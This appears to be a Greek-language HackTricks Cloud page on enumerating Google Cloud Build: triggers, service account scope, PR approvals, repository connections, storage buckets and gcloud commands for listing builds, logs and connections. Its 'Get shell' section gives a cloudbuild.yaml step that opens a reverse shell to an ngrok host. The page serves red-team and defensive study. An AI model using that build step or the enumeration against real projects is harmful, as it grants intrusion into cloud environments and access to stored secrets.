GCP - Cloud Build Enum
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Το Google Cloud Build είναι μια διαχειριζόμενη πλατφόρμα CI/CD που αυτοματοποιεί τη διαδικασία κατασκευής και κυκλοφορίας λογισμικού, ενσωματώνοντας με αποθετήρια κώδικα και υποστηρίζοντας μια ευρεία γκάμα γλωσσών προγραμματισμού. Επιτρέπει στους προγραμματιστές να κατασκευάζουν, να δοκιμάζουν και να αναπτύσσουν κώδικα αυτόματα ενώ παρέχει ευελιξία για την προσαρμογή των βημάτων κατασκευής και των ροών εργασίας.
Κάθε Trigger του Cloud Build είναι σχετικό με ένα Cloud Repository ή συνδεδεμένο απευθείας με ένα εξωτερικό αποθετήριο (Github, Bitbucket και Gitlab).
Tip
Δεν μπόρεσα να δω κανέναν τρόπο να κλέψω το token του Github/Bitbucket από εδώ ή από τα Cloud Repositories γιατί όταν το repo κατεβαίνει, προσπελάζεται μέσω ενός https://source.cloud.google.com/ URL και το Github δεν προσπελάζεται από τον πελάτη.
Events
Το Cloud Build μπορεί να ενεργοποιηθεί αν:
- Push σε ένα branch: Καθορίστε το branch
- Push ενός νέου tag: Καθορίστε το tag
- Pull request: Καθορίστε το branch που λαμβάνει το PR
- Χειροκίνητη κλήση
- Μήνυμα Pub/Sub: Καθορίστε το θέμα
- Webhook event: Θα εκθέσει ένα HTTPS URL και το αίτημα πρέπει να είναι αυθεντικοποιημένο με ένα μυστικό
Execution
Υπάρχουν 3 επιλογές:
- Ένα yaml/json που καθορίζει τις εντολές προς εκτέλεση. Συνήθως:
/cloudbuild.yaml - Μόνο μία που μπορεί να καθοριστεί “inline” στην web κονσόλα και στο cli
- Η πιο κοινή επιλογή
- Σχετική για μη αυθεντικοποιημένη πρόσβαση
- Ένα Dockerfile για κατασκευή
- Ένα Buildpack για κατασκευή
SA Permissions
Ο Λογαριασμός Υπηρεσίας έχει το πεδίο cloud-platform, επομένως μπορεί να χρησιμοποιήσει όλα τα δικαιώματα. Αν δεν καθοριστεί SA (όπως όταν γίνεται υποβολή) θα χρησιμοποιηθεί ο προεπιλεγμένος SA <proj-number>@cloudbuild.gserviceaccount.com.
Από προεπιλογή δεν δίνονται δικαιώματα αλλά είναι αρκετά εύκολο να του δοθούν μερικά:
.png)
Approvals
Είναι δυνατόν να ρυθμιστεί ένα Cloud Build να απαιτεί εγκρίσεις για τις εκτελέσεις κατασκευής (απενεργοποιημένο από προεπιλογή).
PR Approvals
Όταν το trigger είναι PR επειδή ο καθένας μπορεί να εκτελεί PRs σε δημόσια αποθετήρια θα ήταν πολύ επικίνδυνο να επιτρέπεται η εκτέλεση του trigger με οποιοδήποτε PR. Επομένως, από προεπιλογή, η εκτέλεση θα είναι αυτόματη μόνο για τους ιδιοκτήτες και τους συνεργάτες, και για να εκτελέσει το trigger με PR άλλων χρηστών, ένας ιδιοκτήτης ή συνεργάτης πρέπει να σχολιάσει /gcbrun.
.png)
Connections & Repositories
Οι συνδέσεις μπορούν να δημιουργηθούν μέσω:
- GitHub: Θα εμφανίσει ένα OAuth prompt ζητώντας άδειες για να αποκτήσει ένα Github token που θα αποθηκευτεί μέσα στον Secret Manager.
- GitHub Enterprise: Θα ζητήσει να εγκατασταθεί μια GithubApp. Ένα token αυθεντικοποίησης από τον host του GitHub Enterprise σας θα δημιουργηθεί και θα αποθηκευτεί σε αυτό το έργο ως μυστικό του Secret Manager.
- GitLab / Enterprise: Πρέπει να παρέχετε το API access token και το Read API access token που θα αποθηκευτούν στον Secret Manager.
Μόλις δημιουργηθεί μια σύνδεση, μπορείτε να τη χρησιμοποιήσετε για να συνδέσετε αποθετήρια στα οποία έχει πρόσβαση ο λογαριασμός Github.
Αυτή η επιλογή είναι διαθέσιμη μέσω του κουμπιού:
.png)
Tip
Σημειώστε ότι τα αποθετήρια που συνδέονται με αυτή τη μέθοδο είναι μόνο διαθέσιμα σε Triggers που χρησιμοποιούν 2η γενιά.
Connect a Repository
Αυτό δεν είναι το ίδιο με μια connection. Αυτό επιτρέπει διαφορετικούς τρόπους για να αποκτήσετε πρόσβαση σε ένα αποθετήριο Github ή Bitbucket αλλά δεν δημιουργεί ένα αντικείμενο σύνδεσης, αλλά δημιουργεί ένα αντικείμενο αποθετηρίου (1ης γενιάς).
Αυτή η επιλογή είναι διαθέσιμη μέσω του κουμπιού:
.png)
Storage
Μερικές φορές το Cloud Build θα δημιουργήσει μια νέα αποθήκευση για να αποθηκεύσει τα αρχεία για το trigger. Αυτό συμβαίνει για παράδειγμα στο παράδειγμα που προσφέρει το GCP με:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
Ένα Storage bucket με το όνομα security-devbox_cloudbuild δημιουργείται για να αποθηκεύσει ένα .tgz με τα αρχεία που θα χρησιμοποιηθούν.
Get shell
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Εγκαταστήστε το gcloud μέσα στο cloud build:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
Enumeration
Μπορείτε να βρείτε ευαίσθητες πληροφορίες σε ρυθμίσεις κατασκευής και αρχεία καταγραφής.
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
Ανάβαση Δικαιωμάτων
Μη Αυθεντικοποιημένη Πρόσβαση
GCP - Cloud Build Unauthenticated Enum
Μετά την Εκμετάλλευση
GCP - Cloud Build Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

